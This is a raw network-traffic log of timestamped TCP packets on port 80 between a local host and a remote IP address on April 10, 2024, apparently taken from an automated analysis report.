Apr 10, 2024 10:23:11.314894915 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.314901114 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.314913988 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.314929962 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.314937115 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.314949036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.314965963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.314970970 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.314985037 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315002918 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315002918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315021992 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315038919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315045118 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315057993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315074921 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315087080 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315092087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315109015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315113068 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315128088 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315149069 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315233946 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315253019 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315274954 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315284014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315319061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315326929 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315471888 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315494061 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315511942 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315757036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315781116 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315797091 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315849066 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315871000 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315887928 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315895081 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315917969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315933943 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315941095 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315962076 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.315978050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.315984011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316005945 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316025019 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316118002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316140890 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316155910 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316184044 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316231012 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316262960 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316286087 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316306114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316329002 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316329956 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316346884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316365004 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316466093 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316488981 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316509008 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316534042 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316570044 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.316608906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316627026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316644907 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.316672087 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.317368031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.317393064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.317411900 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.318651915 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328588963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328615904 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328633070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328649998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328654051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328669071 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328695059 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328711987 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328713894 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328730106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328747034 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328758955 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328763962 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328783035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328794956 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328799963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328819990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328829050 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328841925 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328862906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328877926 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328886032 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328896999 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328908920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328931093 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328954935 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328963041 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.328977108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328996897 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.328998089 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329019070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329040051 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329041004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329062939 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329083920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329101086 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329108953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329125881 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329132080 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329154015 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329174995 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329180956 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329196930 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329219103 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329220057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329241991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329258919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329274893 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329274893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329294920 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329301119 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329313040 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329329014 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329345942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329356909 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329363108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329375982 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329380989 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329399109 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329402924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329417944 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329435110 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329440117 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329452991 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329469919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.329478025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.329526901 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.332293034 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.332333088 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.472762108 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.472794056 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.472832918 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.472934961 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.472954035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.472975969 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.472994089 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473006010 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473011971 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473050117 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473089933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473089933 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473094940 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473114967 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473141909 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473169088 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473201990 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473221064 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473237038 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473253965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473253965 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473273993 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473292112 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473309040 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473313093 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473313093 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473329067 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473390102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473407984 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473424911 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473438978 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473438978 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473443031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473462105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473479033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473495007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473505974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473505974 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473511934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473530054 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473543882 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473548889 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473558903 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473567963 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473577023 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473592997 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473612070 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473628998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473644972 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473664999 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473664999 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473686934 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473709106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473727942 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473743916 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473762035 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473778009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473795891 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473807096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473807096 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473813057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473830938 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473851919 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473854065 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473870039 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473886013 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473902941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.473907948 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473907948 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.473997116 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474008083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474025965 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474041939 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474059105 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474076033 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474092007 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474104881 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474104881 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474108934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474128008 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474143028 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474145889 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474164009 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474206924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474206924 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474391937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474411011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474428892 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474447012 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474451065 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474488020 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474507093 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474549055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474549055 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474570036 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474589109 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474605083 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474622011 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474632025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474639893 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474657059 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474673986 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474692106 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474698067 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474698067 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474710941 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474760056 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474773884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474792004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474807978 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474842072 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474852085 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474852085 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474863052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474879980 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474896908 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474915028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474924088 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474932909 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474952936 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474970102 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.474983931 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474983931 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.474988937 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475007057 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475023031 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475039005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475045919 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475045919 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475056887 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475074053 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475120068 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475120068 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475245953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475291967 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475344896 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475394011 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475408077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475426912 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475444078 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475460052 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475476027 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475486994 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475486994 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475495100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475512028 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475538969 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475545883 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475564003 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475565910 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475584030 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475601912 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475617886 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475636005 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.475642920 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475642920 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.475694895 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.476886034 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.476910114 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.476929903 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.476970911 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.476970911 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.478019953 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478040934 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478115082 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.478123903 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478144884 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478161097 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478178024 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478193998 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478213072 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.478214025 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.478220940 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.478272915 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.485194921 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.488660097 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489048004 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489073992 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489114046 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489165068 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489223957 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489242077 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489258051 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489274979 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489291906 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489299059 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489299059 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489310026 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489329100 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489371061 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489371061 CEST	49705	80	192.168.2.5	216.250.255.115
Apr 10, 2024 10:23:11.489377975 CEST	80	49705	216.250.255.115	192.168.2.5
Apr 10, 2024 10:23:11.489396095 CEST	80	49705	216.250.255.115	192.168.2.5
